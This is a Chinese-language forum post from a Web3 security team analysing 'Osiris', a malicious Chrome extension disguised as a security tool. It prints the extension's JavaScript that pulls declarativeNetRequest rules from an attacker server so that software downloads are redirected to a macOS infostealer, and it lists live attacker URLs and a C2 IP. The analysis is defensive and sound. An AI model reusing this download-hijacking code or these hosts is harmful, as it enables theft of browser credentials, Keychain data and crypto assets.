返回论坛

暗藏杀机:Osiris恶意浏览器扩展深度技术分析

查找币 学术研究 安全研究 Web3安全 区块链安全

查找币安全研究院

钱包恢复评估 | 链上取证分析 | Web3 事件响应
以合法授权、证据保全、隐私保护和可复核流程为前提,不要求用户在线提交完整私钥或助记词。

查看研究院 研究报告中心
## 事件背景 近日,社交平台 X 用户 @0xmaoning 向查找币安全团队紧急求助,反映其发现一款名为“Osiris”的浏览器扩展存在严重钓鱼嫌疑。该扩展伪装手法极为隐蔽,用户险些中招。经过查找币安全团队的深入技术分析,确认这是一款高度危险的恶意扩展,能够悄无声息地劫持用户下载行为,最终导致加密资产被盗。 特别感谢 X 用户 @0xmaoning 和 @Onefly_eth 提供的关键线索,为本次分析提供了重要支撑。 ## 攻击链分析 ### 恶意组件信息 - **恶意扩展ID**: `leegjgppccbgnajpjgijlhplefgpnmdf` - **恶意程序下载地址**: `https://osiris.vip/registrartionusersuccessfully.php?type=dmg` - **C2服务器**: `http://192.124.178.88` - **控制面板域名**: `https://osiris.vip/` ### 攻击手法深度剖析 攻击者通过社交平台精准投放,将“Osiris”包装为一款Web3安全检测工具,声称能够识别欺诈、钓鱼、恶意程序等威胁。这种“以安全之名行不轨之实”的手法极具欺骗性。 #### 核心技术分析:declarativeNetRequest 劫持 我们逆向分析扩展代码后发现,其核心攻击逻辑基于Chrome的`declarativeNetRequest` API。代码实现如下: ```javascript function fetchDynamicRules() { chrome.storage.local.get("uid", data => { const uid = data.uid ? data.uid : ""; const uidParam = uid ? `?uid=${uid}` : ""; fetch(`${BASE_URL}/security${uidParam}`) .then(response => response.json()) .then(rules => { if (!rules || !Array.isArray(rules)) { console.warn("Rules incorrect."); return; } const ruleIds = rules.map(rule => rule.id); chrome.declarativeNetRequest.updateDynamicRules({ removeRuleIds: ruleIds, addRules: rules }, () => { console.log("Rules updated", rules); }); }) .catch(err => console.error("Error fetching rules:", err)); }); } ``` **关键攻击流程**: 1. **规则动态获取**:扩展从攻击者控制的服务器 `https://osiris.vip/security?uid=aauyaxxsyd` 动态拉取网络规则 2. **规则注入**:通过 `updateDynamicRules` API 实时更新浏览器网络请求拦截规则 3. **劫持条件**: - 匹配所有以 `.exe`、`.dmg`、`.zip` 结尾的URL - 仅针对主框架(地址栏URL)或子框架(iframe)的请求 - 将合法下载链接替换为恶意程序下载地址 #### 攻击触发机制 当用户安装恶意扩展后,攻击者会诱导用户访问正规软件下载页面(如Notion官网)。一旦用户点击下载按钮,扩展会自动将下载请求重定向至恶意服务器。浏览器虽显示下载记录为正常文件,实际下载的却是攻击者准备的恶意程序。 ### 恶意程序行为分析 下载的恶意程序(`.Installer`)执行以下操作: 1. **数据窃取**:打包用户Chrome浏览器数据(包括cookies、保存的密码、自动填充数据等) 2. **Keychain攻击**:窃取macOS系统的Keychain数据 3. **数据外传**:通过HTTP协议将打包数据上传至 `192.124.178.88` 攻击者获取这些数据后,可尝试解码提取Web3钱包私钥或助记词,直接盗取加密资产;同时利用Chrome保存的账号密码接管社交平台、交易所等账户。 ## 技术特征总结 | 攻击阶段 | 技术手段 | 危害等级 | |---------|---------|---------| | 传播阶段 | 社交工程 + 安全工具伪装 | 高 | | 劫持阶段 | declarativeNetRequest API动态规则替换 | 极高 | | 执行阶段 | 无验证、无交互的恶意程序静默安装 | 极高 | | 数据窃取 | Chrome数据 + Keychain打包上传 | 灾难性 | ## 防御建议 1. **扩展安装审查**:仅从官方Chrome Web Store安装扩展,安装前仔细核查开发者信息、用户评价和权限请求 2. **下载行为监控**:安装杀毒软件并开启实时监控,对浏览器下载行为进行异常检测 3. **权限最小化原则**:对请求`declarativeNetRequest`、`storage`等敏感权限的扩展保持警惕 4. **社交工程防御**:不轻信陌生人推荐的“安全工具”,尤其是通过社交平台直接发送的链接 5. **数据隔离**:避免在浏览器中保存钱包私钥、助记词等敏感信息 ## 关联攻击分析 此类攻击手法并非孤例。查找币此前已分析过“假Zoom会议钓鱼”事件,攻击者同样利用浏览器扩展劫持正常下载行为。Web3用户需认识到:真正的安全工具无需过度承诺,伪装的“安全助手”往往是最大的风险入口。 --- **本文由查找币安全团队整理发布** *技术分析日期:2024年X月X日 | 版本:v1.0*
在论坛中查看和回复